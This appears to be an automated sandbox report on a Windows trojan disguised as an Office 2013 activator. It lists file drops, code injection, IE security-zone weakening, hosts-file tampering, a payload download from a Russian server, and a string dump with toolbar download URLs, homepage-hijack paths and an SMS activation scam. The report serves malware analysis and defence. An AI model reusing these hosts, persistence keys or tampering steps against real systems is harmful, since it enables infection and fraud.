MD5: a6690f2e952c538e658ce7de932983d8
SHA1: 16a7e5c71e418ff4ce9708417e3856800e49c8c4
SHA256: c7efd43a99fba59d5e0c720ca39e408113127be11b76ab79da2babf0ec866a8b
SSDeep: 196608:3su4KhxgbryfeyHiLQ0eizybRioL5K10Mz6gbFi:kHyfiLvmbR3KEgbFi
Size: 10137297 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: System Applet
Created at: 2009-11-19 18:53:25
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:2044
do.exe:1560
taskkill.exe:1492

The Trojan injects its code into the following process(es):

msoffice_2013_activation.exe:404

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2044 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\do.exe (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\msoffice_2013_activation.exe (81161 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\vygnaadl.bat (3 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\__tmp_rar_sfx_access_check_1519515 (0 bytes)

Registry activity

The process %original file name%.exe:2044 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E2 AC 7B 17 E2 64 AA FE 5C 90 63 70 4B 8E 05 4F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"do.exe" = "peruf"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process do.exe:1560 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "67 B0 0A E5 09 D6 F8 E5 2A 6A 6F 84 9D AF 9B 40"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"vygnaadl.bat" = "vygnaadl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process msoffice_2013_activation.exe:404 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 73 50 29 6C 6A DC 18 1A 39 99 58 A1 41 D2 9B"

The process taskkill.exe:1492 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "84 09 2C 81 AA 74 1C 7D D1 8F 02 57 D6 91 6E 5E"

Dropped PE files

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 304 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
f63999e4d61389741184b0e1fde7d00b

URLs

URL	IP
hxxp://srv.zippro.ru/lqn1haldfi8qafkftbcino2ykzekuhdckf7171gj2rc1t614zm6pphh2yz81ucu8p377iwqxgum3r9oby5fh4qlusvswziilji3w9gaan50mze75id1fj7vw5oxhd5wf04elxa2lqzzh16endgk8v7gsvn7jg8fecge7kka385tafk5t0l3exbzdvqa6gvg50jb	37.221.166.147

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /lqn1haldfi8qafkftbcino2ykzekuhdckf7171gj2rc1t614zm6pphh2yz81ucu8p377iwqxgum3r9oby5fh4qlusvswziilji3w9gaan50mze75id1fj7vw5oxhd5wf04elxa2lqzzh16endgk8v7gsvn7jg8fecge7kka385tafk5t0l3exbzdvqa6gvg50jb HTTP/1.1

Host: srv.zippro.ru

Accept: text/html, */*

Accept-Encoding: identity

User-agent: Mozilla/3.0 (compatible; Indy Library)

Connection: close

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 01 Aug 2014 08:31:08 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/5.3.28
1f3b..11.3600....Q.....C.$N.G~ .QV......a....Fa..3L..0..T.v...H....../
......b7=gj..u..M....qY.\F..2.5......G...&...9\.H4......K..}x=E';*..rh
. .g.*....O...........<.9x..kmMS...M.Zh.C........{.g5\.....1|.B....
..q..jW...r.....=...h.....X.6.....>l..u.B.=ac.......Z#...=H..U].Lb.
...%.'7..P.j....El.#7.Hdt;...d....P.Z...#\[email protected]
...Ph.h.....f.rd..<...&]{.....sfF...........J ............9n\...I.2
G..c.C$..y..%=,...~......SC(......M.......].{..nKge.......B...;.w.:$b&
L...B......5.OF.n..?U.i....o.9.o.....h|.4l;'B6jb..Im@_A.g(RDAG...$.k.%
C..E.'........._ T...~..T..M.Wh..Q...A.s....I.5..U3.u...4...*E.5.l....
..y..325.(.:...l.;.&..U<.y.............2..Ad..vF..~._..'..4m..bOo.k
Qp....!....0>.a8..d.....x.M...W..y..CH.V.i.......*u.b.....v..%..*\j
.............j]....4.....t..\....^.....2D....;C..(...R........8M......
...h- ..#a....8..=.....:.E..zN#nf..f}....uT....dE..Wj....>y}P.1...#
"{....S.k.3,tB...]z.jV..F..Q.....H.iFf.........n... 5X.V0..p....q.....
k.$.u..D.....]... ^.L*r..O..|^.......p..OuW..j...x..C.C...pmz9.3..N...
.c../...ssmm..._..;..R.?.Bj#.k.F...8.U.&.)..cds..7M&..bW.Q..Q.....;...
.z.A.$.9...bg..i.(... .} .'...C...0q.@@...cm-.}.....0..3..Kg.p..s..j..
.v..|Pk..,5....,.^..4.v..O.....*...}.0.G..o...s.bv:.....T.A@`......(-Q
.TU.[KTa.....i..T0.6.(4o3/C.n......I....._...P ........dP..e.....k%...
`....AG...l.....STu..JM&.>,W9e.....7...7....foW....q<.|..*.9E$.M
Y>.....r..p..l.2oV.!.........6..}.r..J..\...._=..P.27.V.f.....:._El
...I..z....................!..N.w.'<~(o%... .!.x.Ojr|.,,ad._D..
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

msvcrt.dll

USER32.dll

SetConsoleInputExeNameW

APerformUnaryOperation: '%c'

APerformArithmeticOperation: '%c'

ADVAPI32.dll

SHELL32.dll

MPR.dll

RegEnumKeyW

RegDeleteKeyW

RegCloseKey

RegOpenKeyW

RegCreateKeyExW

RegOpenKeyExW

ShellExecuteExW

CmdBatNotification

GetWindowsDirectoryW

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

_pipe

GetProcessWindowStation

cmd.pdb

CMD Internal Error %s

)(&&())))(&))

)&((&)&))&())

)&((&)&)&()))

)(&&()))&))))

CMD.EXE

()|&=,;"

COPYCMD

\XCOPY.EXE

CMDCMDLINE

WKERNEL32.DLL

Software\Policies\Microsoft\Windows\System

0123456789

cmd.exe

DIRCMD

%d.%d.d

Ungetting: '%s'

DisableCMD

GeToken: (%x) '%s'

%s\Shell\Open\Command

%x %c

*** Unknown type: %x

Args: `%s'

Cmd: %s Type: %x

%s (%s) %s

(set sfxcmd=) & (set sfxname=) & msoffice_2013_activation.exe

office_2013_activation.exe

fxname=) & msoffice_2013_activation.exe

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

%WinDir%;%WinDir%\System32\Wbem;c:\Program Files\Wireshark

CMDEXTVERSION

KEYS

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

%s %s

(%s) %s

%s %s%s

&()[]{}^=;!%' ,`~

d%sd%s

-%sd%sd%sd

d%sd%sd

%s=%s

X-X

.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS

<> -*/%()|^&=,

\CMD.EXE

Windows Command Processor

5.1.2600.5512 (xpsp.080413-2111)

Cmd.Exe

Windows

Operating System

5.1.2600.5512

Press any key to continue . . . %0

operable program or batch file.

The system cannot execute the specified program.

and press any key when ready. %0

Microsoft Windows XP [Version %1]%0

a pipe operation.

KEYS is on.

KEYS is off.

The process tried to write to a nonexistent pipe.

The switch /Y may be preset in the COPYCMD environment variable.

to prompt on overwrites unless COPY command is being executed from

Switches may be preset in the DIRCMD environment variable. Override

Quits the CMD.EXE program (command interpreter) or the current batch

CMD.EXE. If executed from outside a batch script, it

will quit CMD.EXE

ERRORLEVEL that number. If quitting CMD.EXE, sets the process

Displays or sets a search path for executable files.

Type PATH ; to clear all search-path settings and direct cmd.exe to search

Changes the cmd.exe command prompt.

$B | (pipe)

$V Windows XP version number

Displays, sets, or removes cmd.exe environment variables.

Displays the Windows XP version.

Tells cmd.exe whether to verify that your files are written correctly to a

Records comments (remarks) in a batch file or CONFIG.SYS.

Press any key to continue . . . %0

Directs cmd.exe to a labeled line in a batch program.

NOT Specifies that Windows XP should carry out

will execute the command after the ELSE keyword if the

I The new environment will be the original environment passed

to the cmd.exe and not the current environment.

SEPARATE Start 16-bit Windows program in separate memory space

SHARED Start 16-bit Windows program in shared memory space

If it is an internal cmd command or a batch file then

the command processor is run with the /K switch to cmd.exe.

If it is not an internal cmd command or batch file then

parameters These are the parameters passed to the command/program

under Windows XP.

Starts a new instance of the Windows XP command interpreter

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]

/D Disable execution of AutoRun commands from registry (see below)

/A Causes the output of internal commands to a pipe or file to be ANSI

/U Causes the output of internal commands to a pipe or file to be

variable var at execution time. The %var% syntax expands variables

of an executable file.

If /D was NOT specified on the command line, then when CMD.EXE starts, it

either or both are present, they are executed first.

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

can enable or disable extensions for all invocations of CMD.EXE on a

following REG_DWORD values in the registry using REGEDT32.EXE:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions

particular invocation of CMD.EXE with the /V:ON or /V:OFF switch. You

can enable or disable completion for all invocations of CMD.EXE on a

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion

at execution time.

CMD.EXE with the /F:ON or /F:OFF switch. You can enable or disable

completion for all invocations of CMD.EXE on a machine and/or user logon

the registry using REGEDT32.EXE:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar

Shift key with the control character will move through the list

&()[]{}^=;!%' ,`~

Command Processor Extensions enabled by default. Use CMD /? for details.

ASSOC [.ext[=[fileType]]]

.ext Specifies the file extension to associate the file type with

ASSOC .pl=PerlScript

FTYPE PerlScript=perl.exe %%1 %%*

script.pl 1 2 3

set PATHEXT=.pl;%%PATHEXT%%

The restartable option to the COPY command is not supported by

this version of the operating system.

The following usage of the path operator in batch-parameter

The unicode output option to CMD.EXE is not supported by this

version of the operating system.

If Command Extensions are enabled the DATE command supports

If Command Extensions are enabled the TIME command supports

If Command Extensions are enabled the PROMPT command supports

is pretty simple and supports the following operations, in decreasing

! ~ - - unary operators

* / %% - arithmetic operators

  - - arithmetic operators

&= ^= |= <<= >>=

If you use any of the logical or modulus operators, you will need to

values. If SET /A is executed from the command line outside of a

assignment operator requires an environment variable name to the left of

the assignment operator. Numeric values are decimal numbers, unless

occurrence of the remaining portion of str1.

Finally, support for delayed environment variable expansion has been

added. This support is always disabled by default, but may be

enabled/disabled via the /V command line switch to CMD.EXE. See CMD /?

of text is read, not when it is executed. The following example

So the actual FOR loop we are executing is:

%Í%% - expands to the current directory string.

%ÚTE%% - expands to current date using same format as DATE command.

%%CMDEXTVERSION%% - expands to the current Command Processor Extensions

%%CMDCMDLINE%% - expands to the original command line that invoked the

If Command Extensions are enabled the SHIFT command supports

control is passed to the statement after the label specified. You must

%%4 %%5 ...)

CMD /? for details.

This works because on old versions of CMD.EXE, SETLOCAL does NOT

command execution.

non-executable files may be invoked through their file association just

by typing the name of the file as a command. (e.g. WORD.DOC would

launch the application associated with the .DOC file extension).

When executing an application that is a 32-bit GUI application, CMD.EXE

the command prompt. This new behavior does NOT occur if executing

When executing a command line whose first token is the string "CMD "

without an extension or path qualifier, then "CMD" is replaced with

the value of the COMSPEC variable. This prevents picking up CMD.EXE

When executing a command line whose first token does NOT contain an

extension, then CMD.EXE uses the value of the PATHEXT

.COM;.EXE;.BAT;.CMD

When searching for an executable, if there is no match on any extension,

If Command Extensions are enabled, and running on the Windows XP

forms of the FOR command are supported:

Walks the directory tree rooted at [drive:]path, executing the FOR

passes the first blank separated token from each line of each file.

is a quoted string which contains one or more keywords to specify

different parsing options. The keywords are:

be passed to the for body for each iteration.

where a back quoted string is executed as a

FOR /F "eol=; tokens=2,3* delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k

would parse each line in myfile.txt, ignoring lines that begin with

a semicolon, passing the 2nd and 3rd token from each line to the for

line, which is passed to a child CMD.EXE and the output is captured

IF CMDEXTVERSION number command

The CMDEXTVERSION conditional works just like ERRORLEVEL, except it is

CMDEXTVERSION conditional is never true when Command Extensions are

%%CMDCMDLINE%% will expand into the original command line passed to

CMD.EXE prior to any processing by CMD.EXE, provided that there is not

already an environment variable with the name CMDCMDLINE, in which case

%%CMDEXTVERSION%% will expand into a string representation of the

current value of CMDEXTVERSION, provided that there is not already

an environment variable with the name CMDEXTVERSION, in which case you

under Windows XP, as command line editing is always enabled.

CMD.EXE was started with the above path as the current directory.

UNC paths are not supported. Defaulting to Windows directory.

CMD does not support UNC paths as current directories.

UNC paths not supported for current directory. Using

to create temporary drive letter to support UNC current

Missing operand.

Missing operator.

The COMSPEC environment variable does not point to CMD.EXE.

The FAT File System only support Last Write Times

of a batch script is reached, an implied ENDLOCAL is executed for any

application execution.

The switch /Y may be present in the COPYCMD environment variable.

to prompt on overwrites unless MOVE command is being executed from

when CMD.EXE started. This value either comes from the current console

The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute

msoffice_2013_activation.exe_404:

.text

`.itext

`.data

.idata

.rdata

@.reloc

B.rsrc

Windows

ENoMonitorSupportException

.uvCOu

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

EVariantBadIndexError

Uh.mA

ssShift

htKeyword

EInvalidOperation

EInvalidGraphicOperation

UhG%C

Uh.cC

PasswordChar|

OnKeyDown

OnKeyPress

OnKeyUp

ItemsP%D

TCustomButton.TButtonStyle

Proportional

AutoHotkeysX

AutoHotkeys

TKeyEvent

TKeyPressEvent

HelpKeyword

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

Uh.BH

THttpData

THttp

HTTP/1.1

BuildImportTable: can't load library:

BuildImportTable: ReallocMemory failed

BuildImportTable: GetProcAddress failed

BTMemoryLoadLibary: BuildImportTable failed

BTMemoryGetProcAddress: no export table found

BTMemoryGetProcAddress: DLL doesn't export anything

BTMemoryGetProcAddress: exported symbol not found

Password

TMonochromeLookup

TOperators

THttpThread

ad.php

?new.php

... URL:

m.php

e.php

6ser.php

c.php

http://internetToolbar.cdnmail.ru/Internet.exe

http://exe.agent.mail.ru/sputnik/Toolbarsputnik.exe

http://Toolbarstat.ru/get_referer?patner=zippro

Mozilla/3.0 (compatible; Indy Library)

ro.ru

1.2.3

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

oleaut32.dll

advapi32.dll

RegOpenKeyExW

RegCloseKey

user32.dll

GetKeyboardType

kernel32.dll

UnhookWindowsHookEx

SetWindowsHookExW

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjects

MapVirtualKeyW

LoadKeyboardLayoutW

GetKeyboardState

GetKeyboardLayoutNameW

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextW

EnumWindows

EnumThreadWindows

EnumChildWindows

ActivateKeyboardLayout

msimg32.dll

gdi32.dll

SetViewportOrgEx

version.dll

GetProcessHeap

GetCPInfo

RegQueryInfoKeyW

RegFlushKey

RegEnumKeyExW

RegDeleteKeyW

RegCreateKeyExW

ole32.dll

comctl32.dll

shell32.dll

ShellExecuteExW

ShellExecuteW

FindExecutableW

comdlg32.dll

wsock32.dll

dnsapi.dll

winmm.dll

4 4$4(4,4044484<4

3 3$3(3,3034383<3@3`3

:";);@;{;

5!6%6)6-646

> >$>(>,>

5"5&5*5.5

5 56G6K6O6S6W6[6

= =$=(=,=0=4=8=

3 3$3(3,3034383<3@3

;#<'< 
7‰8F8U8^8j8~8
1%2S2y2
<0<4<8<|<
= =$=(=,=0=4=
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
ft%S`
>?*(8443&
#'88((*22
`.rdata
@.data
.rsrc
t.hPL
__MSVCRT_HEAP_SELECT
KERNEL32.DLL
OLEAUT32.dll
USER32.dll
7za.dll
000000000
:#<)<9
1(14104<4
< <(<,<0<4<
.AHa%
s.XCL
q%XCL
Created with ajaxload.info
KWindows
UrlMon
URLCrypt
MyHTTP
RC5DefKey
2WebAddr
StringDecodeKey
%8xk#
%U~$we9
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
Picture.Data
Adobe Photoshop CS6 (Windows)
2012:11:20 00:45:34
urlTEXT
MsgeTEXT
Zhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>            3DCDE8EDFF0C143AE00017443142237C      
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
CRT curv
A]%xGj
Mo
version="12.0.3210.17555"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
%s_%d
USER32.DLL
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
uxtheme.dll
DWMAPI.DLL
clWebSnow
clWebFloralWhite
clWebLavenderBlush
clWebOldLace
clWebIvory
clWebCornSilk
clWebBeige
clWebAntiqueWhite
clWebWheat
clWebAliceBlue
clWebGhostWhite
clWebLavender
clWebSeashell
clWebLightYellow
clWebPapayaWhip
clWebNavajoWhite
clWebMoccasin
clWebBurlywood
clWebAzure
clWebMintcream
clWebHoneydew
clWebLinen
clWebLemonChiffon
clWebBlanchedAlmond
clWebBisque
clWebPeachPuff
clWebTan
clWebYellow
clWebDarkOrange
clWebRed
clWebDarkRed
clWebMaroon
clWebIndianRed
clWebSalmon
clWebCoral
clWebGold
clWebTomato
clWebCrimson
clWebBrown
clWebChocolate
clWebSandyBrown
clWebLightSalmon
clWebLightCoral
clWebOrange
clWebOrangeRed
clWebFirebrick
clWebSaddleBrown
clWebSienna
clWebPeru
clWebDarkSalmon
clWebRosyBrown
clWebPaleGoldenrod
clWebLightGoldenrodYellow
clWebOlive
clWebForestGreen
clWebGreenYellow
clWebChartreuse
clWebLightGreen
clWebAquamarine
clWebSeaGreen
clWebGoldenRod
clWebKhaki
clWebOliveDrab
clWebGreen
clWebYellowGreen
clWebLawnGreen
clWebPaleGreen
clWebMediumAquamarine
clWebMediumSeaGreen
clWebDarkGoldenRod
clWebDarkKhaki
clWebDarkOliveGreen
clWebDarkgreen
clWebLimeGreen
clWebLime
clWebSpringGreen
clWebMediumSpringGreen
clWebDarkSeaGreen
clWebLightSeaGreen
clWebPaleTurquoise
clWebLightCyan
clWebLightBlue
clWebLightSkyBlue
clWebCornFlowerBlue
clWebDarkBlue
clWebIndigo
clWebMediumTurquoise
clWebTurquoise
clWebCyan
clWebPowderBlue
clWebSkyBlue
clWebRoyalBlue
clWebMediumBlue
clWebMidnightBlue
clWebDarkTurquoise
clWebCadetBlue
clWebDarkCyan
clWebTeal
clWebDeepskyBlue
clWebDodgerBlue
clWebBlue
clWebNavy
clWebDarkViolet
clWebDarkOrchid
clWebMagenta
clWebDarkMagenta
clWebMediumVioletRed
clWebPaleVioletRed
clWebBlueViolet
clWebMediumOrchid
clWebMediumPurple
clWebPurple
clWebDeepPink
clWebLightPink
clWebViolet
clWebOrchid
clWebPlum
clWebThistle
clWebHotPink
clWebPink
clWebLightSteelBlue
clWebMediumSlateBlue
clWebLightSlateGray
clWebWhite
clWebLightgrey
clWebGray
clWebSteelBlue
clWebSlateBlue
clWebSlateGray
clWebWhiteSmoke
clWebSilver
clWebDimGray
clWebMistyRose
clWebDarkSlateBlue
clWebDarkSlategray
clWebGainsboro
clWebDarkGray
clWebBlack
MAPI32.DLL
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
crSQLWait
%s (%s)
imm32.dll
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
%s, ClassID: %s
%s, ProgID: "%s"
olepro32.dll
%domain%
Unsupported Method
User canceled operation
__TMyArchiveExtractCallback.GetStream( %d, %.8x, %d )
TMyArchiveExtractCallback.PrepareOperation( %d )
TMyArchiveExtractCallback.SetOperationResult( %d )
TMyArchiveExtractCallback.SetTotal( %d )
TMyArchiveExtractCallback.SetCompleted( %d )
TMyStreamReader.Destroy
-> Write( %.8x, %d )
-> Error writing file %d. Error code is %d.
TMyStreamWriter.Seek( %d, %d, %.8x )
TMyStreamWriter.SetSize( %d )
TMyStreamWriter.Destroy
Could not load CreateObject function from 7za.dll
Perhaps 7za.dll not found
PSAPI.dll
WbemScripting.SWbemLocator
SELECT * FROM Win32_OperatingSystem
THttpThread.Execute
http://
%2.2d.%2.2d.%d %2.2d:%2.2d
password
home_url
common_url
http://support-contact.ws
http://chart.googleapis.com/chart?chs=100x100&cht=qr&chl=SMSTO:
TCaptchaUpdateThread.Execute
guardToolbar.exe
Software\Mail.ru\Guard
Software\Microsoft\Windows\CurrentVersion\Run
Guard.Mail.ru.gui
@Mail.Ru
toolbar.exe
... trying to execute "
.html
iexplore.exe
firefox.exe
/silent /partner_new_url=
http://Toolbarstat.ru/v_install?guid=$__GUID&sig=$__SIG&ovr=$__OVR&
Internet.exe
\Google\Chrome\User Data\Default\preferences
\Opera\Opera\operaprefs.ini
Home URL
"browser.startup.homepage"
"browser.startup.page"
\Mozilla\Firefox\Profiles
\*.default
\prefs.js
Portable Network Graphics
bds.exe
avp.exe
mssesec.exe
1049=1000
1058=1000
1059=1000
Webalta Toolbar=
Mail.Ru
Install Webalta Toolbar Install Mail.Ru Internet browser
Receive the activation key
Enter activation key.
Date modified$Enter activation key from reply SMS.
pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.7The png image could not be loaded from the resource ID.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
OptimizingjThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.'Object type not supported for operation
Unsupported PixelFormat
Invalid stream operation
Invalid extension introducerúiled to allocate memory for GIF DIB
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block size
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s&Cannot change the size of a JPEG image
JPEG error #%d
Value must be between %d and %d
Unable to insert a line Clipboard does not support Icons/Menu '%s' is already being used by another form
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
%s property out of range
No help found for %s
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic
Unsupported clipboard format
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread$No help viewer that supports filters#''%s'' is not a valid integer value#No context-sensitive help installed
Cannot open file "%s". %s
Invalid file name - %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Failed to get data for '%s'
Failed to set data for '%s'"Character index out of bounds (%d)
Start index out of bounds (%d)
Invalid count (%d)
Invalid destination index (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Object lock not owned(Monitor support function not initialized
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Interface not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
I/O error %d
Integer overflow Invalid floating point operation

msoffice_2013_activation.exe_404_rwx_00400000_0047E000:


.text
`.itext
`.data
.idata
.rdata
@.reloc
B.rsrc
Windows
